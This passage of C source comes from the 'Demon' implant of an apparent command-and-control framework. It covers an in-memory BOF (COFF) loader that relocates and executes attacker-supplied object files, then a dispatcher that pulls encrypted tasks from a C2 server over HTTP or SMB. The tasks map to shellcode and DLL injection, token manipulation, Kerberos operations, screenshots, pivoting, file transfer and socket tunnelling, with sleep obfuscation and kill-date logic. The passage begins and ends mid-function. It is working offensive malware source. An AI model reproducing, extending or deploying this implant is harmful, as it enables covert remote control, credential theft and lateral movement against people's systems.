PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE_T Size, UINT32 RequestID ) { PVOID CoffeeMain = NULL; PVOID VehHandle = NULL; PCHAR SymbolName = NULL; BOOL Success = FALSE; ULONG FunctionLength = StringLengthA( Function ); ULONG Protection = 0; ULONG BitMask = 0; if ( Instance->Config.Implant.CoffeeVeh ) { PUTS( "Register VEH handler..." ) // Add Veh Debugger in case that our BOF crashes etc. VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger ); if ( ! VehHandle ) { PACKAGE_ERROR_WIN32 return FALSE; } } // set appropriate permissions for each section for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); if ( Coffee->Section->SizeOfRawData > 0 ) { BitMask = Coffee->Section->Characteristics & ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ); if ( BitMask == 0 ) Protection = PAGE_NOACCESS; else if ( BitMask == IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; else if ( BitMask == IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE ) ) Protection = PAGE_EXECUTE_READ; else if ( BitMask == IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_READWRITE; else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_READWRITE; else { PRINTF( "Unknown protection: %x", Coffee->Section->Characteristics ); Protection = PAGE_EXECUTE_READWRITE; } if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED ) Protection |= PAGE_NOCACHE; Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection ); if ( ! Success ) { PUTS( "Failed to protect memory" ) return FALSE; } } } if ( Coffee->FunMapSize ) { // set the FunctionMap section to READONLY Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY ); if ( ! Success ) { PUTS( "Failed to protect memory" ) return FALSE; } } // look for the "go" function for ( DWORD SymCounter = 0; SymCounter < Coffee->Header->NumberOfSymbols; SymCounter++ ) { if ( Coffee->Symbol[ SymCounter ].First.Value[ 0 ] != 0 ) SymbolName = Coffee->Symbol[ SymCounter ].First.Name; else SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Coffee->Symbol[ SymCounter ].First.Value[ 1 ]; #if _M_IX86 // in x86, the "go" function might actually be named _go if ( SymbolName[0] == '_' ) SymbolName++; #endif if ( MemCompare( SymbolName, Function, FunctionLength ) == 0 ) { CoffeeMain = ( Coffee->SecMap[ Coffee->Symbol[ SymCounter ].SectionNumber - 1 ].Ptr + Coffee->Symbol[ SymCounter ].Value ); break; } } // did we find it? if ( ! CoffeeMain ) { PRINTF( "[!] Couldn't find function => %s\n", Function ); PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND ); PackageAddString( Package, Function ); PackageTransmit( Package ); return FALSE; } // make sure the entry point is on executable memory Success = FALSE; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { if ( ( ULONG_PTR ) CoffeeMain >= ( ULONG_PTR ) Coffee->SecMap[ SectionCnt ].Ptr && ( ULONG_PTR ) CoffeeMain < U_PTR( Coffee->SecMap[ SectionCnt ].Ptr) + Coffee->SecMap[ SectionCnt ].Size ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_EXECUTE ) == IMAGE_SCN_MEM_EXECUTE ) Success = TRUE; break; } } if ( ! Success ) { PRINTF( "The entry point (%p) is not on executable memory\n", CoffeeMain ) return FALSE; } PUTS( "[*] Execute coffee main\n" ); CoffeeFunction( CoffeeMain, Argument, Size ); // Remove our exception handler if ( VehHandle ) { Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle ); } return TRUE; } VOID CoffeeCleanup( PCOFFEE Coffee ) { PVOID Pointer = NULL; SIZE_T Size = 0; NTSTATUS NtStatus = 0; if ( ! Coffee || ! Coffee->ImageBase ) return; if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) ) MemSet( Coffee->ImageBase, 0, Coffee->BofSize ); Pointer = Coffee->ImageBase; Size = Coffee->BofSize; if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PRINTF( "[!] Failed to free memory: %p : %lu\n", Coffee->ImageBase, NtGetLastError() ); } if ( Coffee->SecMap ) { MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); Instance->Win32.LocalFree( Coffee->SecMap ); Coffee->SecMap = NULL; } } // Process sections relocation and symbols BOOL CoffeeProcessSections( PCOFFEE Coffee ) { PUTS( "Process Sections" ) PVOID FuncPtr = NULL; DWORD FuncCount = 0; UINT64 OffsetLong = 0; UINT32 Offset = 0; CHAR SymName[9] = { 0 }; PCHAR SymbolName = NULL; PVOID RelocAddr = NULL; PVOID FunMapAddr = NULL; PVOID SymbolSectionAddr = NULL; UINT16 SymbolType = 0; PCOFF_SYMBOL Symbol = NULL; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); Coffee->Reloc = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations ); for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ ) { Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ]; if ( Symbol->First.Value[ 0 ] != 0 ) { // if the symbol is 8 bytes long, it will not be terminated by a null byte MemSet( SymName, 0, sizeof( SymName ) ); MemCopy( SymName, Symbol->First.Name, 8 ); SymbolName = SymName; // TODO: the following symbols take 2 entries: .text, .xdata, .pdata, .rdata // skip an entry if one of those is found } else { // in this scenario, we can trust that the symbol ends with a null byte SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ]; } // address where the reloc must be written to RelocAddr = Coffee->SecMap[ SectionCnt ].Ptr + Coffee->Reloc->VirtualAddress; // address where the resolved function address will be stored FunMapAddr = Coffee->FunMap + ( FuncCount * sizeof( PVOID ) ); // the address of the section where the symbol is stored SymbolSectionAddr = Coffee->SecMap[ Symbol->SectionNumber - 1 ].Ptr; // type of the symbol SymbolType = Symbol->Type; if ( ! CoffeeProcessSymbol( Coffee, SymbolName, SymbolType, &FuncPtr ) ) { PRINTF( "Symbol '%s' couldn't be resolved\n", SymbolName ); return FALSE; } #if _WIN64 if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr != NULL ) { *( ( PVOID* ) FunMapAddr ) = FuncPtr; Offset = ( UINT32 ) ( U_PTR( FunMapAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) ); *( ( PUINT32 ) RelocAddr ) = Offset; FuncCount++; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_1 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 1; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_2 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 2; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_3 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 3; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_4 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 4; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_5 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 5; *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR32NB && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR64 && FuncPtr == NULL ) { OffsetLong = *( PUINT64 ) ( RelocAddr ); OffsetLong += U_PTR( SymbolSectionAddr ); *( ( PUINT64 ) RelocAddr ) = OffsetLong; } #else if ( Coffee->Reloc->Type == IMAGE_REL_I386_REL32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ); *( ( PUINT32 ) RelocAddr ) = Offset; } else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr != NULL ) { *( ( PVOID* ) FunMapAddr ) = FuncPtr; Offset = U_PTR( FunMapAddr ); *( ( PUINT32 ) RelocAddr ) = Offset; FuncCount++; } else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr == NULL ) { Offset = *( PUINT32 ) ( RelocAddr ); Offset += U_PTR( SymbolSectionAddr ); *( ( PUINT32 ) RelocAddr ) = Offset; } #endif else { if ( FuncPtr ) { PRINTF( "[!] Relocation type %d for Symbol %s not supported\n", Coffee->Reloc->Type, SymbolName ); } else { PRINTF( "[!] Relocation type not found: %d\n", Coffee->Reloc->Type ); } return FALSE; } Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) ); } } return TRUE; } // calculate how many __imp_* function there are SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee ) { CHAR SymName[9] = { 0 }; PCHAR SymbolName = NULL; ULONG NumberOfFuncs = 0; PCOFF_SYMBOL Symbol = NULL; for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) ); Coffee->Reloc = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations ); for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ ) { Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ]; if ( Symbol->First.Value[ 0 ] != 0 ) { // if the symbol is 8 bytes long, it will not be terminated by a null byte MemSet( SymName, 0, sizeof( SymName ) ); MemCopy( SymName, Symbol->First.Name, 8 ); SymbolName = SymName; } else { // in this scenario, we can trust that the symbol ends with a null byte SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ]; } // if the symbol starts with __imp_, count it if ( HashEx( SymbolName, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL ) NumberOfFuncs++; Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) ); } } return sizeof( PVOID ) * NumberOfFuncs; } VOID RemoveCoffeeFromInstance( PCOFFEE Coffee ) { PCOFFEE Entry = Instance->Coffees; PCOFFEE Last = Entry; if ( ! Coffee ) return; if ( Entry && Entry->RequestID == Coffee->RequestID ) { Instance->Coffees = Entry->Next; return; } Entry = Entry->Next; while ( Entry ) { if ( Entry->RequestID == Coffee->RequestID ) { Last->Next = Entry->Next; return; } Last = Entry; Entry = Entry->Next; } PUTS( "Coffe entry was not found" ) } VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ) { PCOFFEE Coffee = NULL; PVOID NextBase = NULL; BOOL Success = FALSE; PRINTF( "[EntryName: %s] [CoffeeData: %p] [ArgData: %p] [ArgSize: %ld]\n", EntryName, CoffeeData, ArgData, ArgSize ) if ( ! CoffeeData ) { PUTS( "[!] Coffee data is empty" ); goto END; } /* * The BOF will be allocated as one big chunk of memory * all sections are kept page aligned * the FunctionMap stored at the end to prevent * reloc 32-bit offsets to overflow */ Coffee = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) ); Coffee->Data = CoffeeData; Coffee->Header = Coffee->Data; Coffee->Symbol = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable ); Coffee->RequestID = RequestID; Coffee->Next = Instance->Coffees; Instance->Coffees = Coffee; #if _WIN64 if ( Coffee->Header->Machine != IMAGE_FILE_MACHINE_AMD64 ) { PUTS( "The BOF is not AMD64" ); goto END; } #else if ( Coffee->Header->Machine == IMAGE_FILE_MACHINE_AMD64 ) { PUTS( "The BOF is AMD64" ); goto END; } #endif Coffee->SecMap = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee ); if ( ! Coffee->SecMap ) { PUTS( "Failed to allocate memory" ) goto END; } // calculate the size of the entire BOF for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) ); Coffee->BofSize += Coffee->Section->SizeOfRawData; Coffee->BofSize = ( SIZE_T ) ( ULONG_PTR ) PAGE_ALLIGN( Coffee->BofSize ); } // at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K Coffee->BofSize += Coffee->FunMapSize; Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE ); if ( ! Coffee->ImageBase ) { PUTS( "Failed to allocate memory for the BOF" ) goto END; } NextBase = Coffee->ImageBase; for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ ) { Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) ); Coffee->SecMap[ SecCnt ].Size = Coffee->Section->SizeOfRawData; Coffee->SecMap[ SecCnt ].Ptr = NextBase; NextBase += Coffee->Section->SizeOfRawData; NextBase = PAGE_ALLIGN( NextBase ); PRINTF( "Coffee->SecMap[ %d ].Ptr => %p\n", SecCnt, Coffee->SecMap[ SecCnt ].Ptr ) MemCopy( Coffee->SecMap[ SecCnt ].Ptr, C_PTR( U_PTR( CoffeeData ) + Coffee->Section->PointerToRawData ), Coffee->Section->SizeOfRawData ); } // the FunMap is stored directly after the BOF Coffee->FunMap = NextBase; if ( ! CoffeeProcessSections( Coffee ) ) { PUTS( "[*] Failed to process relocation" ); goto END; } Success = CoffeeExecuteFunction( Coffee, EntryName, ArgData, ArgSize, RequestID ); END: PUTS( "[*] Cleanup memory" ); CoffeeCleanup( Coffee ); if ( Success ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_RAN_OK ); PackageTransmit( Package ); } else { PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN ); PackageTransmit( Package ); } RemoveCoffeeFromInstance( Coffee ); if ( Coffee ) { MemSet( Coffee, 0, sizeof( Coffee ) ); Instance->Win32.LocalFree( Coffee ); Coffee = NULL; } } VOID CoffeeRunnerThread( PCOFFEE_PARAMS Param ) { if ( ! Param->EntryName || ! Param->CoffeeData ) goto ExitThread; CoffeeLdr( Param->EntryName, Param->CoffeeData, Param->ArgData, Param->ArgSize, Param->RequestID ); ExitThread: if ( Param ) { DATA_FREE( Param->EntryName, Param->EntryNameSize ); DATA_FREE( Param->CoffeeData, Param->CoffeeDataSize ); DATA_FREE( Param->ArgData, Param->ArgSize ); DATA_FREE( Param, sizeof( COFFEE_PARAMS ) ); } JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread ); Instance->Threads--; Instance->Win32.RtlExitUserThread( 0 ); } VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ) { PCOFFEE_PARAMS CoffeeParams = NULL; INJECTION_CTX InjectionCtx = { 0 }; #if _WIN64 BOOL x64 = TRUE; #else BOOL x64 = FALSE; #endif // Allocate memory CoffeeParams = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) ); CoffeeParams->EntryName = Instance->Win32.LocalAlloc( LPTR, EntryNameSize ); CoffeeParams->CoffeeData = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize ); CoffeeParams->ArgData = Instance->Win32.LocalAlloc( LPTR, ArgSize ); CoffeeParams->EntryNameSize = EntryNameSize; CoffeeParams->CoffeeDataSize = CoffeeDataSize; CoffeeParams->ArgSize = ArgSize; CoffeeParams->RequestID = RequestID; MemCopy( CoffeeParams->EntryName, EntryName, EntryNameSize ); MemCopy( CoffeeParams->CoffeeData, CoffeeData, CoffeeDataSize ); MemCopy( CoffeeParams->ArgData, ArgData, ArgSize ); InjectionCtx.Parameter = CoffeeParams; Instance->Threads++; if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) { PRINTF( "Failed to create new CoffeeRunnerThread thread: %d", NtGetLastError() ) PACKAGE_ERROR_WIN32 } } ================================================ FILE: payloads/Demon/src/core/Command.c ================================================ #include #include #include #include #include #include #include #include #include #include #include #include SEC_DATA DEMON_COMMAND DemonCommands[] = { { .ID = DEMON_COMMAND_SLEEP, .Function = CommandSleep }, { .ID = DEMON_COMMAND_CHECKIN, .Function = CommandCheckin }, { .ID = DEMON_COMMAND_JOB, .Function = CommandJob }, { .ID = DEMON_COMMAND_PROC, .Function = CommandProc }, { .ID = DEMON_COMMAND_PROC_LIST, .Function = CommandProcList }, { .ID = DEMON_COMMAND_FS, .Function = CommandFS }, { .ID = DEMON_COMMAND_INLINE_EXECUTE, .Function = CommandInlineExecute }, { .ID = DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, .Function = CommandAssemblyInlineExecute }, { .ID = DEMON_COMMAND_ASSEMBLY_VERSIONS, .Function = CommandAssemblyListVersion }, { .ID = DEMON_COMMAND_CONFIG, .Function = CommandConfig }, { .ID = DEMON_COMMAND_SCREENSHOT, .Function = CommandScreenshot }, { .ID = DEMON_COMMAND_PIVOT, .Function = CommandPivot }, { .ID = DEMON_COMMAND_NET, .Function = CommandNet }, { .ID = DEMON_COMMAND_INJECT_DLL, .Function = CommandInjectDLL }, { .ID = DEMON_COMMAND_INJECT_SHELLCODE, .Function = CommandInjectShellcode }, { .ID = DEMON_COMMAND_SPAWN_DLL, .Function = CommandSpawnDLL }, { .ID = DEMON_COMMAND_TOKEN, .Function = CommandToken }, { .ID = DEMON_COMMAND_TRANSFER, .Function = CommandTransfer }, { .ID = DEMON_COMMAND_SOCKET, .Function = CommandSocket }, { .ID = DEMON_COMMAND_KERBEROS, .Function = CommandKerberos }, { .ID = DEMON_COMMAND_MEM_FILE, .Function = CommandMemFile }, { .ID = DEMON_EXIT, .Function = CommandExit }, // End { .ID = 0, .Function = NULL } }; // // TODO: rewrite this part // and move it into the Demon.c file // VOID CommandDispatcher( VOID ) { PARSER Parser = { 0 }; LPVOID DataBuffer = { 0 }; SIZE_T DataBufferSize = { 0 }; PARSER TaskParser = { 0 }; LPVOID TaskBuffer = { 0 }; UINT32 TaskBufferSize = { 0 }; UINT32 CommandID = { 0 }; UINT32 RequestID = { 0 }; PRINTF( "Session ID => %x\n", Instance->Session.AgentID ); do { if ( ! Instance->Session.Connected ) { break; } SleepObf(); if ( ReachedKillDate() ) { KillDate(); } // simply call SleepObf until we reach working hours or the kill date (if set) if ( ! InWorkingHours() ) { continue; } #ifdef TRANSPORT_HTTP /* Send our buffer. */ if ( ! PackageTransmitAll( &DataBuffer, &DataBufferSize ) && ! HostCheckup() ) { CommandExit( NULL ); } /* SMB */ #else // send all the packages we might have PackageTransmitAll( NULL, NULL ); // read from pipe to receive new tasks if ( ! SMBGetJob( &DataBuffer, &DataBufferSize ) ) { PUTS( "SMBGetJob failed" ) continue; } #endif if ( DataBuffer && DataBufferSize > 0 ) { ParserNew( &Parser, DataBuffer, DataBufferSize ); do { CommandID = ParserGetInt32( &Parser ); RequestID = ParserGetInt32( &Parser ); TaskBuffer = ParserGetBytes( &Parser, &TaskBufferSize ); Instance->CurrentRequestID = RequestID; if ( CommandID != DEMON_COMMAND_NO_JOB ) { PRINTF( "Task => RequestID:[%d : %x] CommandID:[%d : %x] TaskBuffer:[%x : %d]\n", RequestID, RequestID, CommandID, CommandID, TaskBuffer, TaskBufferSize ) if ( TaskBufferSize != 0 ) { ParserNew( &TaskParser, TaskBuffer, TaskBufferSize ); ParserDecrypt( &TaskParser, Instance->Config.AES.Key, Instance->Config.AES.IV ); } for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) { if ( DemonCommands[ FunctionCounter ].Function == NULL ) { break; } if ( DemonCommands[ FunctionCounter ].ID == CommandID ) { DemonCommands[ FunctionCounter ].Function( &TaskParser ); break; } } } } while ( Parser.Length > 12 ); MemSet( DataBuffer, 0, DataBufferSize ); Instance->Win32.LocalFree( DataBuffer ); DataBuffer = NULL; ParserDestroy( &Parser ); ParserDestroy( &TaskParser ); } else { #ifdef TRANSPORT_HTTP PUTS( "TransportSend: Failed" ) break; #endif } /* Check if there is something that a process output is available or check if the jobs are still alive. */ JobCheckList(); /* Check if we have something in our Pivots connection and sends back the output from the pipes */ PivotPush(); /* push any download chunks we have. */ DownloadPush(); /* push any dotnet output we have. */ DotnetPush(); /* push any new clients or output from the sockets */ SocketPush(); } while ( TRUE ); Instance->Session.Connected = FALSE; PUTS( "Out of while loop" ) } VOID CommandCheckin( PPARSER Parser ) { PUTS( "Checkin" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_CHECKIN ); DemonMetaData( &Package, FALSE ); PackageTransmit( Package ); } VOID CommandSleep( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_SLEEP ); Instance->Config.Sleeping = ParserGetInt32( Parser ); Instance->Config.Jitter = ParserGetInt32( Parser ); PRINTF( "Instance->Sleeping: [%d]\n", Instance->Config.Sleeping ); PRINTF( "Instance->Jitter : [%d]\n", Instance->Config.Jitter ); PackageAddInt32( Package, Instance->Config.Sleeping ); PackageAddInt32( Package, Instance->Config.Jitter ); PackageTransmit( Package ); } VOID CommandJob( PPARSER Parser ) { PUTS( "Job" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_JOB ); DWORD Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_JOB_LIST: { PUTS( "Job::list" ) PJOB_DATA JobList = Instance->Jobs; do { if ( JobList ) { PRINTF( "Job => JobID:[%d] Type:[%d] State:[%d]\n", JobList->JobID, JobList->Type, JobList->State ) PackageAddInt32( Package, JobList->JobID ); PackageAddInt32( Package, JobList->Type ); PackageAddInt32( Package, JobList->State ); JobList = JobList->Next; } else break; } while ( TRUE ); break; } case DEMON_COMMAND_JOB_SUSPEND: { PUTS( "Job::suspend" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobSuspend( JobID ); PRINTF( "JobID:[%d] Success:[%d]", JobID, Success ) PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } case DEMON_COMMAND_JOB_RESUME: { PUTS( "Job::resume" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobResume( JobID ); PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } case DEMON_COMMAND_JOB_KILL_REMOVE: { PUTS( "Job::kill" ) DWORD JobID = ParserGetInt32( Parser ); BOOL Success = JobKill( JobID ); PackageAddInt32( Package, JobID ); PackageAddInt32( Package, Success ); break; } } PackageTransmit( Package ); } VOID CommandProc( PPARSER Parser ) { SHORT SubCommand = ( SHORT ) ParserGetInt32( Parser ); PPACKAGE Package = PackageCreate( DEMON_COMMAND_PROC ); PackageAddInt32( Package, SubCommand ); switch ( SubCommand ) { case DEMON_COMMAND_PROC_MODULES: PUTS( "Proc::Modules" ) { PROCESS_BASIC_INFORMATION ProcessBasicInfo = { 0 }; UINT32 ProcessID = 0; HANDLE hProcess = NtCurrentProcess(); NTSTATUS NtStatus = STATUS_SUCCESS; if ( Parser->Length > 0 ) { ProcessID = ParserGetInt32( Parser ); hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS ); if ( ! hProcess ) { PACKAGE_ERROR_WIN32 break; } } NtStatus = SysNtQueryInformationProcess( hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof( PROCESS_BASIC_INFORMATION ), 0 ); if ( NT_SUCCESS( NtStatus ) ) { PPEB_LDR_DATA LoaderData = NULL; PLIST_ENTRY ListHead, ListEntry = NULL; SIZE_T Size = 0; LDR_DATA_TABLE_ENTRY CurrentModule = { 0 }; WCHAR ModuleNameW[ MAX_PATH ] = { 0 }; CHAR ModuleName[ MAX_PATH ] = { 0 }; PackageAddInt32( Package, ProcessID ); if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &ProcessBasicInfo.PebBaseAddress->Ldr, &LoaderData, sizeof( PPEB_LDR_DATA ), &Size ) ) ) { ListHead = & LoaderData->InMemoryOrderModuleList; Size = 0; if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &LoaderData->InMemoryOrderModuleList.Flink, &ListEntry, sizeof( PLIST_ENTRY ), NULL ) ) ) { while ( ListEntry != ListHead ) { if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, CONTAINING_RECORD( ListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks ), &CurrentModule, sizeof( CurrentModule ), NULL ) ) ) { SysNtReadVirtualMemory( hProcess, CurrentModule.FullDllName.Buffer, &ModuleNameW, CurrentModule.FullDllName.Length, &Size ); if ( CurrentModule.FullDllName.Length > 0 ) { Size = WCharStringToCharString( ModuleName, ModuleNameW, CurrentModule.FullDllName.Length ); PackageAddString( Package, ModuleName ); PackageAddPtr( Package, CurrentModule.DllBase ); } MemSet( ModuleNameW, 0, MAX_PATH ); MemSet( ModuleName, 0, MAX_PATH ); ListEntry = CurrentModule.InMemoryOrderLinks.Flink; } } } } } if ( hProcess ) { SysNtClose( hProcess ); } break; } case DEMON_COMMAND_PROC_GREP: PUTS("Proc::Grep") { PSYSTEM_PROCESS_INFORMATION SysProcessInfo = NULL; PSYSTEM_PROCESS_INFORMATION PtrProcessInfo = NULL; /* is going to hold the original pointer of SysProcessInfo */ SIZE_T ProcessInfoSize = 0; NTSTATUS NtStatus = STATUS_SUCCESS; ULONG32 ProcessSize = 0; PWCHAR ProcessName = NULL; /* Process User token */ BUFFER UserDomain = { 0 }; ProcessName = ParserGetWString( Parser, &ProcessSize ); if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) ) { PRINTF( "SysProcessInfo: %p\n", SysProcessInfo ); /* save the original pointer to free */ PtrProcessInfo = SysProcessInfo; while ( TRUE ) { PVOID MemRet = WcsIStr( 